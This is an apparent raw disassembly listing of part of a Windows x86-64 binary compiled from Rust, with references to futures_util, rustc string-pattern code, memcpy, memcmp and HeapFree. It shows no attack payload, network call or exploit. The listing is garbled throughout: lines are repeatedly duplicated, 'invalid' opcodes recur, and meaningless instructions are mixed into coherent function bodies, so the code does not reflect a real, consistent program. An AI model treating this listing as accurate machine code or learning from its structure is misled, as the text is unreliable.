movaps xmm0, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x360], xmm0
mov rax, qword [rbx]
add ecx, dword [rax - 0x2f]
loopne 0x1400c7a0e
test eax, eax
add ecx, dword [rax - 0x2f]
loopne 0x1400c7a0e
test eax, eax
je 0x1400c79dd
mov r8, qword [rbx + 8]
mov rcx, qword [0x14017d208]
xor ebx, dword [rax + 0xb]
add byte [rcx], dh
sar bh, cl
adc eax, 0x47a23
mov rax, qword [rbp + 0x5a0]
mov qword [rbx], rax
mov rcx, qword [rbp + 0x538]
mov qword [rbx + 8], rcx
or byte [rax - 0x77], cl
adc byte [r11 + 0x5dc85], cl
add byte [rcx - 0x7a74e7bd], cl
sbb byte [r11 + 0x5d085], cl
add byte [rcx - 0x7a74e3bd], cl
sbb al, 0x8b
test esp, ecx
invalid
add byte [rax], al
or byte [rax - 0x77], cl
adc byte [r11 + 0x5dc85], cl
add byte [rcx - 0x7a74e7bd], cl
sbb byte [r11 + 0x5d085], cl
invalid
mov dword [rbx + 0x1c], eax
sbb al, 0x8b
sbb byte [r11 + 0x5d085], cl
add byte [rcx - 0x7a74e3bd], cl
sbb al, 0x8b
test esp, ecx
sbb al, 0x8b
test esp, ecx
add eax, 0x43890000
and byte [rbx + 0x5c885], cl
add byte [rax], al
mov dword [rbx + 0x24], eax
movzx eax, word [rbp + 0x5e6]
mov word [rbx + 0x28], ax
movzx eax, word [rbp + 0x5e4]
mov dword [rbx + 0x20], eax
mov eax, dword [rbp + 0x5c8]
add byte [rax], al
add byte [rax], al
mov dword [rbx + 0x24], eax
movzx eax, word [rbp + 0x5e6]
mov word [rbx + 0x28], ax
movzx eax, word [rbp + 0x5e4]
mov word [rbx + 0x2a], ax
mov eax, dword [rbp + 0x5c4]
mov dword [rbx + 0x2c], eax
mov eax, dword [rbp + 0x5c0]
mov dword [rbx + 0x30], eax
mov eax, dword [rbp + 0x5d4]
mov dword [rbx + 0x34], eax
mov eax, dword [rbp + 0x5e0]
mov dword [rbx + 0x38], eax
mov eax, dword [rbp + 0x5d8]
mov dword [rbx + 0x3c], eax
cmp al, 0xf
sub byte [rbp + 0x360], al
cmp al, 0xf
sub byte [rbp + 0x360], al
movups xmmword [rbx + 0x40], xmm0
movzx eax, byte [rbp + 0x370]
mov byte [rbx + 0x50], al
mov eax, dword [rbp + 0xb0]
mov ecx, dword [rbp + 0xb3]
mov dword [rbx + 0x51], eax
mov dword [rbx + 0x54], ecx
mov qword [r14 + 8], rbx
mov qword [r14], 3
jmp 0x1400c7b05
lock inc qword [rsi]
inc qword [rsi]
jle case.0x1400c6a2c.2
mov qword [r14], rdi
mov qword [r14 + 8], rbx
or byte [rcx - 0x73], cl
adc byte [rax - 0x73], r9b
xchg ebp, eax
lock add dword [rax], eax
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
invalid
or byte [rcx - 0x73], cl
adc byte [rax - 0x73], r9b
xchg ebp, eax
lock add dword [rax], eax
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add al, ch
cmp eax, 0x480003b5
mov eax, dword [rbp + 0x500]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x500]
mov qword [r14 + 0x98], rax
mov eax, dword [rbp + 0x5ac]
mov dword [r14 + 0xa0], eax
add byte [rax], al
add byte [rax], al
mov qword [r14 + 0xa8], 0
add byte [rax], al
mov qword [r14 + 0xb8], rsi
cmp qword [rbp + 0x5a0], 0
add byte [rax], al
add byte [rax], al
je 0x1400c7b05
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x538]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp + 0x4f8], 2
jne 0x1400c7b5a
invalid
mov rax, qword [rbp + 0x98]
mov rax, qword [rbp + 0x98]
cmp eax, 2
je 0x1400c7b5a
mov rsi, qword [rbp + 0x88]
mov byte [rax], al
add byte [rax], al
mov rdi, qword [rbp + 0x90]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
invalid
je 0x1400c7b51
add byte [rbp + rbx + 0x48], dh
cmp dword [rdi + 0x10], 0x11
cmp qword [rdi + 0x10], 0x11
jb 0x1400c7b3f
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
scasd eax, dword [rdi]
js 0x1400c7b54
invalid
scasd eax, dword [rdi]
js 0x1400c7b54
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0x60]
call fcn.140086030
invalid
mov rax, qword [r13]
lock dec qword [rax]
or byte [rbp + 0x29], dh
or byte [rbp + 0x29], dh
mov rcx, r13
movaps xmm6, xmmword [rbp + 0x5f0]
movaps xmm7, xmmword [rbp + 0x600]
add rsp, 0x698
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp 0x1400c5520
movaps xmm6, xmmword [rbp + 0x5f0]
movaps xmm7, xmmword [rbp + 0x600]
add eax, 0x280f0000
mov ebp, 0x600
add rsp, 0x698
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
add byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400c765e
mov rbx, rax
mov qword [rax + 0x58], 1
lea rax, [0x140139cf8]
mov qword [rbx + 0x60], rax
mov word [rbx + 0x68], 1
mov rax, qword [rbp + 0x5a0]
test dword [rax + 0x48000005], esp
mov dword [rbx], eax
ret
test dword [rax + 0x48000005], esp
mov dword [rbx], eax
mov rcx, qword [rbp + 0x538]
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x10], eax
mov dword [rbx + 0x10], eax
mov eax, dword [rbp + 0x5dc]
mov dword [rbx + 0x18], eax
mov eax, dword [rbp + 0x5d0]
mov dword [rbx + 0x1c], eax
mov eax, dword [rbp + 0x5cc]
mov dword [rbx + 0x20], eax
mov eax, dword [rbp + 0x5c8]
mov dword [rbx + 0x24], eax
movzx eax, word [rbp + 0x5e6]
mov word [rbx + 0x28], ax
sub byte [r15], cl
mov bh, 0x85
in al, 5
add byte [rax], al
sub byte [r15], cl
mov bh, 0x85
in al, 5
add byte [rax], al
mov word [rbx + 0x2a], ax
mov eax, dword [rbp + 0x5c4]
mov dword [rbx + 0x2c], eax
sub al, 0x8b
test eax, eax
add eax, 0x43890000
xor byte [rbx + 0x5d485], cl
add byte [rcx - 0x7a74cbbd], cl
loopne 0x1400c7c5e
add byte [rax], al
sub al, 0x8b
test eax, eax
add eax, 0x43890000
xor byte [rbx + 0x5d485], cl
add byte [rcx - 0x7a74cbbd], cl
loopne 0x1400c7c5e
add byte [rax], al
mov dword [rbx + 0x38], eax
mov eax, dword [rbp + 0x5d8]
mov dword [rbx + 0x3c], eax
movzx eax, byte [rbp + 0x350]
mov byte [rbx + 0x50], al
movaps xmm0, xmmword [rbp + 0x340]
add eax, 0x43890000
cmp al, 0xf
mov dh, 0x85
push rax
add eax, dword [rax]
add byte [rax + 0x280f5043], cl
movaps xmm0, xmmword [rbp + 0x340]
movups xmmword [rbx + 0x40], xmm0
jmp 0x1400c7a72
ud2
call fcn.14010b3a0
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x50], r8
mov r15, rdx
mov rsi, rcx
lea r12, [rcx + 0x30]
lea rbx, [rsp + 0x38]
lea r14, [rsp + 0x70]
lea r13, [rcx + 0x10]
lea rdi, [rcx + 0x28]
lea rbp, [rsp + 0x20]
xorps xmm6, xmm6
mov rax, qword [rsi]
cmp rax, 1
je 0x1400c820c
jmp 0x1400c82c8
movups xmmword [rsi], xmm6
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [r13 + 0x10], xmm0
mov qword [r13], rax
mov qword [r13 + 8], rcx
mov rax, qword [rsi]
cmp rax, 1
jne 0x1400c82c8
mov rcx, rbp
mov rdx, r12
mov r8, r15
call fcn.14004ee00
mov rcx, qword [rsp + 0x20]
cmp rcx, 2
je 0x1400c8336
add byte [rax - 0x7b], cl
leave
je case.0x140066038.414
test rax, rax
je 0x1400c8363
movaps xmm0, xmmword [rsp + 0x80]
sub byte [rsp + 0x80], al
movups xmmword [r14], xmm0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
push 0x247c8348
jo 0x1400c826c
push 0x247c8348
jo 0x1400c826c
je 0x1400c82b0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
cmp qword [rsi], 0
jne 0x1400c81e0
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
sbb byte [rbx + rcx*4 + 0x46], cl
and byte [rax - 0x77], cl
stc
sbb byte [rbx + rcx*4 + 0x46], cl
and byte [rax - 0x77], cl
stc
call qword [rax + 0x10]
jmp 0x1400c81e0
lea rcx, [rsp + 0x78]
lea ecx, [rsp + 0x78]
xor r8d, r8d
call qword [rax + 0x10]
mov rax, qword [rsi]
cmp rax, 1
je 0x1400c820c
invalid
invalid
invalid
invalid
test rax, rax
jne 0x1400c835c
mov rdx, qword [rsi + 8]
mov r12, qword [rsi + 0x20]
mov r15, r12
sub r15, rdx
sub edi, edx
sub edi, edx
mov rax, qword [rsp + 0x58]
cmp rax, r15
cmovb r15, rax
mov r14, r15
add r14, rdx
jb 0x1400c83b1
cmp r14, r12
ja 0x1400c83c3
mov edx, ebp
mov r8, r12
call qword [rax + 0x10]
mov qword [rsi], 1
jmp 0x1400c835f
cmp qword [rsi], 0
jne 0x1400c8355
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
adc byte [rax - 0x75], r9b
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
and byte [rax - 0x77], cl
stc
call qword [rax + 0x10]
mov qword [rsi], 2
xor r15d, r15d
xor eax, eax
jmp 0x1400c8392
mov rcx, rdx
call fcn.1400bdd20
mov r15, rax
cmp qword [rsi], 0
jne 0x1400c8386
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
call qword [rax + 0x10]
invalid
adc byte [rax - 0x39], cl
invalid
mov qword [rsi], 2
mov eax, 1
mov rdx, r15
movaps xmm6, xmmword [rsp + 0x90]
nop
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
test al, 0
add byte [rax], al
pop rbx
nop
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_try_streaminto_async_read.rs
mov rcx, rdx
mov rdx, r14
call fcn.1401048e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_try_streaminto_async_read.rs
pop rsi
invalid
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov rdx, r12
call fcn.1401046e0
int3
pop rsi
invalid
int3
int3
shl ecx, 4
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
test r9, r9
leave
je 0x1400c8412
mov eax, dword [r8 + 0x10]
add r8, 0x10
add r9, 0xfffffffffffffff0
test rax, rax
je 0x1400c83f0
mov r8, qword [r8 + 8]
mov r9, rax
jmp 0x1400c8180
lea r8, [0x14016f768]
xor r9d, r9d
jmp 0x1400c8180
int3
mov qword [rbp - 0x18], rcx
mov rbx, qword [rdx + 0x18]
mov r15, qword [rdx + 0x10]
mov edi, dword [rdx + 0x10]
mov edi, dword [rdx + 0x10]
xor r10d, r10d
mov rax, rbx
sub rax, r15
clc
clc
jb 0x1400c8748
mov rcx, qword [rdx + 8]
mov qword [rbp - 0x10], rcx
invalid
invalid
cmp rbx, rcx
cmp ebx, ecx
ja 0x1400c8748
xlatb
add al, byte [rax]
invalid
invalid
xlatb
add al, byte [rax]
add byte [rax - 0x75], cl
or cl, byte [rax - 0x77]
clc
mov rcx, qword [rdx]
mov qword [rbp - 8], rcx
lea r8, [rcx + r15]
movzx ecx, byte [rdx + 0x28]
sub byte [rdi], cl
mov dh, 0x7c
or bl, byte [rdi]
sub byte [rdi], cl
mov dh, 0x7c
or bl, byte [rdi]
movabs r13, 0x101010101010101
add dword [rcx], eax
imul r13, rdi
mov qword [rbp], rcx
cmp rcx, 4
jbe 0x1400c85f9
xor r10d, r10d
movabs r9, 0xfefefefefefefeff
movabs rcx, 0x8080808080808080
jmp 0x1400c84d4
mov rax, qword [rbp - 8]
lea r8, [rax + r15]
add al, 0x38
add al, 0x38
mov rax, rbx
sub rax, r15
jb 0x1400c8748
cmp rax, 0x10
jae 0x1400c8510
cmp rbx, r15
je 0x1400c8741
add byte [rax], al
add byte [rax], al
xor esi, esi
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp byte [r8 + rsi], dil
je 0x1400c85c6
invalid
add byte [rax - 1], cl
invalid
inc rsi
cmp rax, rsi
jne 0x1400c84f0
jmp 0x1400c8741
lea r11, [r8 + 7]
and r11, 0xfffffffffffffff8
sub r11, r8
jne 0x1400c8526
lea rsi, [rax - 0x10]
xor r11d, r11d
jmp 0x1400c8555
cmp r11, rax
cmovae r11, rax
xor esi, esi
nop
cmp byte [r8 + rsi], dil
je 0x1400c85c6
inc rsi
cmp r11, rsi
jne 0x1400c8530
out dx, al
out dx, al
lea rsi, [rax - 0x10]
nop word cs:[rax + rax]
cmp r11, rsi
ja 0x1400c8590
mov r14, qword [r8 + r11]
xor r14, r13
lea r12, [r14 + r9]
lea esp, [rsi + rcx]
not r14
not esi
and r14, r12
mov r12, qword [r8 + r11 + 8]
xor r12, r13
lea r10, [r12 + r9]
not r12
or al, 0x49
not esp
and r12, r10
or r12, r14
test r12, rcx
jne 0x1400c8590
add r11, 0x10
add ebx, 0x10
jmp 0x1400c8550
nop word cs:[rax + rax]
sub rax, r11
mov r10d, 0
je 0x1400c8741
add r8, r11
xor esi, esi
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
fdiv dword [rcx]
mul byte [rsi + 0x66]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [r8 + rsi], dil
je 0x1400c85c3
inc rsi
cmp rax, rsi
jne 0x1400c85b0
add byte [rax], al
add rsi, r11
add r15, rsi
inc r15
mov qword [rdx + 0x10], r15
cmp r15, qword [rbp]
cmp edi, dword [rbp]
cmp edi, dword [rbp]
jb 0x1400c84c0
cmp r15, qword [rbp - 0x10]
ja 0x1400c84c0
invalid
invalid
invalid
invalid
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_strpattern.rs
mov edx, 4
mov rcx, qword [rbp]
call fcn.1401046e0
lea rcx, [rdx + 0x20]
mov qword [rbp - 0x20], rcx
movabs r12, 0xfefefefefefefeff
movabs r14, 0x8080808080808080
cmp rax, 0x10
jae 0x1400c8650
cmp rbx, r15
je 0x1400c8741
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + 0x31], al
xor edx, edx
invalid
invalid
invalid
xor r10d, r10d
nop word [rax + rax]
cmp byte [r8 + r10], dil
cmp byte [rax + rdx], bh
cmp byte [rax + rdx], bh
je 0x1400c86e3
inc r10
cmp rax, r10
jne 0x1400c8630
add byte [rax], al
nop word [rax + rax]
lea r9, [r8 + 7]
lea ecx, [rax + 7]
and r9, 0xfffffffffffffff8
sub r9, r8
jne 0x1400c8666
lea r10, [rax - 0x10]
xor r9d, r9d
jmp 0x1400c8690
cmp r9, rax
cmovae r9, rax
xor r10d, r10d
cmp byte [r8 + r10], dil
je 0x1400c86e3
inc r10
cmp r9, r10
jne 0x1400c8670
nop word cs:[rax + rax]
add byte [rax], al
add byte [rbx - 0x75], cl
mov ecx, dword [rax + rcx]
mov rcx, qword [r8 + r9]
mov ecx, dword [rax + rcx]
xor rcx, r13
lea r11, [rcx + r12]
not rcx
and rcx, r11
mov r11, qword [r8 + r9 + 8]
xor r11, r13
lea rsi, [r11 + r12]
not r11
and r11, rsi
and ebx, esi
and ebx, esi
or r11, rcx
test r11, r14
jne 0x1400c86c4
add r9, 0x10
cmp r9, r10
sal dword [rsi - 0x34], 1
sub rax, r9
je 0x1400c8741
add r8, r9
xor r10d, r10d
nop
cmp byte [r8 + r10], dil
je 0x1400c86e0
add r15, r10
inc r15
mov qword [rdx + 0x10], r15
mov r14, r15
sub r14, qword [rbp]
jb 0x1400c871b
ja 0x1400c871b
mov rax, qword [rbp - 8]
lea rcx, [rax + r14]
mov rsi, rdx
mov rdx, qword [rbp - 0x20]
push rbp
loopne 0x1400c8758
mov eax, dword [rbp]
push rbp
loopne 0x1400c8758
mov eax, dword [rbp]
call sub.VCRUNTIME140.dll_memcmp
test al, 3
add byte [rax - 0x77], cl
test eax, eax
add eax, dword [rax]
mov rdx, rsi
test eax, eax
je 0x1400c8760
mov rax, qword [rbp - 8]
lea r8, [rax + r15]
cmp byte [rax - 0x77], cl
fmul dword [rcx + rbp - 8]
cmp byte [rax - 0x77], cl
fmul dword [rcx + rbp - 8]
mov r10d, 0
mov edx, 0
movabs r14, 0x8080808080808080
jae 0x1400c8615
add byte [rax - 0x7f7f7f80], 0x80
or byte [rdi], 0x83
invalid
add byte [rax - 0x1297cf1], 0xff
invalid
jmp 0x1400c8748
mov qword [rdx + 0x10], rbx
mov dword [rdx + 0x10], ebx
xor r10d, r10d
mov rax, qword [rbp - 0x18]
mov qword [rax], r10
add rsp, 0x48
call 0x1881d109c
call 0x1881d109c
add esp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp - 0x18]
mov qword [rax + 8], r14
call 0x1487d10b4
mov qword [rax + 0x10], r15
mov r10d, 1
invalid
add bl, ch
invalid
jmp 0x1400c8748
int3
invalid
invalid
sub byte [rax - 0x73], cl
adc eax, 0x78232
xor al, byte [rdx - 0x47befff9]
or eax, 0xff000000
push rax
sbb byte [rax - 0x77], cl
jne 0x1400c87a6
clc
xor al, byte [rdx - 0x47befff9]
or eax, 0xff000000
add bh, bh
push rax
sbb byte [rax - 0x77], cl
jne 0x1400c87a6
clc
clc
mov byte [rbp], al
mov byte [rbp + 1], 0
lea rax, [0x1401409e0]
invalid
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
invalid
mov dword [rsp + 0x20], eax
and al, 0x20
lea rdx, str.kind
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
mov r8d, 4
add al, ch
adc eax, 0x80fff4bd
jge 0x1400c87df
add dword [rax], eax
add al, ch
adc eax, 0x80fff4bd
jge 0x1400c87df
invalid
inc dword [rax + 0xf00017d]
add dword [rax], eax
add byte [rdi], cl
movzx ecx, byte [rbp]
je 0x1400c880c
mov dh, 0x4d
add byte [rdi + riz - 0x50], dh
add dword [rcx + rcx*8 - 0x74b7bf8b], eax
invalid
invalid
invalid
mov al, 1
test cl, cl
jne 0x1400c882b
invalid
mov rax, qword [rbp - 8]
clc
test byte [rax + 0x34], 4
xor al, 4
add al, 0x75
invalid
jne 0x1400c8813
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140140fb9]
mov r8d, 2
mov eax, 2
mov eax, 2
jmp 0x1400c8828
test cl, cl
leave
setne al
jmp 0x1400c882b
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146913]
loopne 0x1400c8828
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x7e0f1
loopne 0x1400c8828
invalid
loopne 0x1400c8828
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x48
invalid
pop rsi
pop rbp
ret
invalid
int3
int3
int3
add byte [rax - 0x73], cl
or eax, 0x7886f
outsd dx, dword [rsi]
mov byte [rdi], al
invalid
outsd dx, dword [rsi]
mov byte [rdi], al
add byte [rbx + rcx*4 + 4], cl
mov r8, qword [rcx + rax*8]
lea rcx, [0x1401410e8]
mov byte [rdi], al
add byte [rax + 0x63], cl
mov r8, qword [rcx + rax*8]
lea rcx, [0x1401410e8]
mov byte [rdi], al
add byte [rax + 0x63], cl
add al, 0x81
mov byte [rdi], al
add byte [rax + 0x63], cl
invalid
add al, 0x81
add rax, rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
jmp rcx
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
sbb byte [rax - 0x77], cl
ret 0x495d
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rcx, qword [rcx]
or dword [rax - 0x7b], ecx
leave
or dword [rax - 0x7b], ecx
leave
je 0x1400c8de6
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f4
jbe 0x1400c88e9
invalid
mov rcx, qword ss:[rsi + 0x20]
test rcx, rcx
je case.0x1400b5866.55
lea edx, [0x140140f28]
mov r8d, 0x19
call fcn.140013600
mov dil, 1
test al, al
jne 0x1400c8e4e
ror byte [rdi], 0x85
jne 0x1400c88dc
add byte [rax], al
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
invalid
add dh, al
or byte [rcx], r8b
mov byte [rsi + 8], 1
jmp 0x1400c8e4c
invalid
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x1400c8922.68
invalid
invalid
invalid
add byte [rax], al
and dword [0x14f0c8901], 0xffffffb6
sbb al, 1
movzx ebx, byte [rcx + rax]
lea r9, [rax + 1]
mov qword [rsi + 0x10], r9
mov dword [rsi + 0x10], ecx
lea r10d, [rbx - 0x42]
mov esi, 0x17fa8341
mov esi, 0x17fa8341
ja case.0x1400c8922.68
add eax, 0x8d4c0000
sbb eax, 0xac361
lea r11, [0x140174c7c]
movsxd r10, dword [r11 + r10*4]
adc al, 0x93
add r10, r11
jmp r10
cmp r9, r8
cmp ecx, eax
jae 0x1400c8955
cmp byte [rcx + r9], 0x73
jne 0x1400c8955
or dword [rbx + 0x75], esi
and al, 0x4c
lea r9, [rax + 2]
lea r9, [rax + 2]
mov qword [rsi + 0x10], r9
mov dword [rsi + 0x10], ecx
cmp r9, r8
jae case.0x1400c8922.68
fld qword [rax + rax]
invalid
fld qword [rax + rax]
add byte [rdx - 0x80], al
cmp al, 9
pop rdi
cmp byte [rcx + r9], 0x5f
jne 0x1400c8d0e
add eax, dword [rax]
add byte [rax - 0x7d], cl
add rax, 3
mov qword [rsi + 0x10], rax
add rax, 3
add eax, 3
mov qword [rsi + 0x10], rax
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
mov ecx, esi
mov ecx, esi
xor edx, edx
call fcn.1400c8880
test al, al
jne 0x1400c8fad
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsi + 0x20], rdi
test rdi, rdi
jne 0x1400c8acf
add dword [rax], eax
add cl, ch
push 1
add byte [rax], al
add byte [rax], al
jmp 0x1400c8aef
mov edi, edx
mov rcx, rsi
call fcn.1400c9af0
add byte [rax - 0x77], cl
ret
add byte [rax - 0x77], cl
ret
test bl, 1
jne 0x1400c8be6
mov dil, 1
mov bh, 1
test al, al
jne 0x1400c8e4e
cmp qword [rsi], 0
je 0x1400c8db9
invalid
add byte [rax - 0x73], cl
invalid
mov rdx, rsi
call fcn.1400c9170
cmp byte [rbp - 0x10], 0
add byte [rdi], cl
invalid
mov bl, 0
add byte [rax], al
stosb byte [rdi], al
invalid
add byte [rdi], cl
test dword [rbx + 0x48000000], esi
cmp dword [rsi], 0
add byte ds:[rdi], cl
test byte [rsp + rax], cl
add byte [rax], al
add byte ds:[rdi], cl
test byte [rsp + rax], cl
or al, 4
add byte [rax], al
mov r14, qword [rbp - 8]
clc
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c9250
or byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
jge 0x1400c89de
cmp qword [rbp - 0x10], 0
je 0x1400c8d78
shr rbx, 0x20
jmp case.0x1400c3586.22
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
adc byte [rbp], cl
movaps xmmword [rbp - 0x20], xmm1
sub dword [rbp - 0x20], ecx
movaps xmmword [rbp - 0x30], xmm0
cmp ebx, 0x110000
adc dword [rax], eax
adc dword [rax], eax
jne 0x1400c8e5e
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
or rax, qword [rbp - 0x18]
or eax, dword [rbp - 0x18]
je 0x1400c8bd4
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x1400c8bd4
add byte [rax], al
add byte [rax], al
lea rdx, [0x140140b38]
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
call fcn.140013600
test al, al
jne 0x1400c8e4e
add al, 4
add byte [rax], al
invalid
add al, 4
add byte [rax], al
invalid
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1400c8bd4
shr r8b, 1
shr al, 1
loopne 0x1400c8a67
add byte [rax], al
test al, al
je 0x1400c8bd4
add dword [rax], eax
invalid
add dword [rax], eax
add cl, ch
loope 0x1400c8a6e
invalid
jmp 0x1400c8e4e
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp - 0x10]
lea ecx, [rbp - 0x10]
mov rdx, rsi
mov edx, esi
call fcn.1400c9170
cmp byte [rbp - 0x10], 0
je 0x1400c8c11
invalid
jge 0x1400c8a6c
lock add byte [rdi], cl
add byte [rdi], cl
test byte [rsi + 0xf000001], cl
mov dh, 0x5d
int1
movzx ebx, byte [rbp - 0xf]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1400c8d88
invalid
add byte [rax - 0x7b], cl
test rcx, rcx
leave
je 0x1400c8daa
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x78485
invalid
lea rdx, [0x140140f28]
mov r8d, 0x19
jmp 0x1400c8d9a
mov rcx, rsi
call fcn.1400c8fe0
sub al, byte [0xf74c8ab8]
invalid
test al, al
sub al, byte [0xf74c8ab8]
add dword [rax + rax*8 + 0x113840f], eax
je 0x1400c8bd4
je 0x1400c8bd4
jmp 0x1400c8e4e
mov rdi, qword [rsi + 0x20]
test rdi, rdi
test edi, edi
test edi, edi
je 0x1400c8aef
lea rdx, [0x140140bf3]
mov r8d, 1
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.140013600
mov dil, 1
test al, al
jne 0x1400c8e4e
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call case.0x1400aa870.134
mov dil, 1
test al, al
jne 0x1400c8e4e
test dword [rbx + rax], ecx
invalid
cmp bl, 0x4d
je 0x1400c8bb1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je 0x1400c8b2e
lea rdx, [0x140140f5a]
mov r8d, 4
add al, 0
add byte [rax], al
call fcn.140013600
test al, al
jne 0x1400c8e4e
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
xor edx, edx
call fcn.1400c8880
test al, al
je 0x1400c8bb1
jmp 0x1400c8e4e
mov rcx, rsi
mov ebx, edx
call fcn.1400c8880
mov dil, 1
test al, al
jne 0x1400c8e4e
test bl, bl
je 0x1400c8b7d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8b7d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8ba0
lea edx, [0x140140bf3]
mov r8d, 1
call fcn.140013600
test al, al
jne 0x1400c8e4e
mov rcx, rsi
call fcn.1400ca080
test rax, rax
jne 0x1400c8e4e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8bd4
lea rdx, [0x140140bf2]
mov r8d, 1
call fcn.140013600
test al, al
jne 0x1400c8e4e
cmp qword [rsi], 0
je 0x1400c8e4c
dec dword [rsi + 0x18]
jmp 0x1400c8e4c
add cl, ch
fadd dword [rax]
add byte [rax], al
cmp qword [rsi], 0
je 0x1400c8de6
mov rbx, qword [rbp - 8]
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c9250
cmp qword [rbp - 0x10], 0
je 0x1400c8d78
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1400c8bd4
lea rcx, [rbp - 0x50]
call fcn.1400c9440
mov dil, 1
test al, al
jne 0x1400c8e4e
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x1400c8bd4
test byte [rax + 0x34], 4
jne 0x1400c8bd4
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14016ee48]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x1400c8e4e
